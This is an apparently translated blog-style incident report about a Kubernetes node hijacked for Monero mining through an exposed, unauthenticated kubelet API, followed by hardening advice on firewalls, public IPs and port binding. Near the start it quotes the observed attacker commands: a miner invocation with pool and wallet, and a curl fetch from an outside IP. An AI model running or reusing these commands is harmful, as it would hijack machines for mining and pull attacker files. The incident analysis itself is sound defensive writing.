Remember a Kubernetes cluster was invaded, server mining machine

We recently met a self-built Kubernetes cluster in a machine was invaded mining, follow-up also found the reason, fortunately only used to mining… Cyber security is a serious issue. It always pops up when you’re too late. I hope you will be inspired to check and harden your cluster. Intrusion Abnormal processes are detected on a machine

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat
Copy the code

Simply put, our machines are being used to mine…

After the problem appeared, we immediately shut down Docker. In fact, we should isolate the environment and dump the mining program for subsequent analysis.

If the iptables is empty, an abnormal process appears. It must be invaded. I first look at iptables. Sure enough, the Iptables rules on the machine are empty, meaning the machine is running naked.

Kubelet streaks internal colleagues raised the possibility that Kubelet was hacked, after checking other components, began to check kubelet components

Kubelet error:

Kubelet setup error confirm intrusion problem, kubelet parameter Settings error, allow direct access to kubelet API

This configuration was commented out due to my improper operation

Because is the new increase of the machine, that found the problem, I in the management of the whole cluster is I follow the screen together, so soon to find the reason, that night I took the other configuration items in the machine to swept it again, if the firewall fails, there will be a similar intrusion happens, well control the incident in one machine. In fact, this problem is theoretically avoidable, because there are multiple layers of vulnerabilities will be swept up by people, I sorted out the possible improvement strategies from the outside to the inside.

Machine firewall Settings, machine firewall is the outermost layer of the entire system, even if the machine firewall synchronization fails, do not open all ports by default, but should be closed, waiting for the administrator to connect to the TTY terminal check.

When using the machine, if the machine is not exposed to external use, public IP is not necessary, try not to have public IP, our machine was only online for 1 day was scanned vulnerability, can imagine how dangerous the public network is

Should port listening be considered when using Kubelet and other system services? Can not listen for 0.0.0.0, but only listen for the local Intranet IP.

When using Kubelet and other programs to design or build a system, we need to consider what problems will occur if the port is anonymous. Should anonymous access be allowed? If not, how to make an authentication system?

Is there a standardized process for system administrators to operate, and should they only use scripts to operate online environments? It is not easy to troubleshoot and locate problems caused by manual operation of the online environment. I’m not throwing a doubt here, but I’m just saying that when you think about system design, you need to think about security.

After summing up the incident, my colleague joked that fortunately there were no other economic losses, or I might have to go home. As the cluster administrator, only you know the extent of the problem. Essentially, the problem is serious. The intruder has full control of docker on his machine. If readers have read my content about docker series, they have a clear understanding of permissions. Because of the occurrence of this incident, not only I, but also the students of SA were basically punished by DIAO, and they felt a little sad. I hope everyone can pay attention to the network security problem, and start from strengthening the firewall to avoid monitoring unnecessary ports, which are at least the easiest to achieve.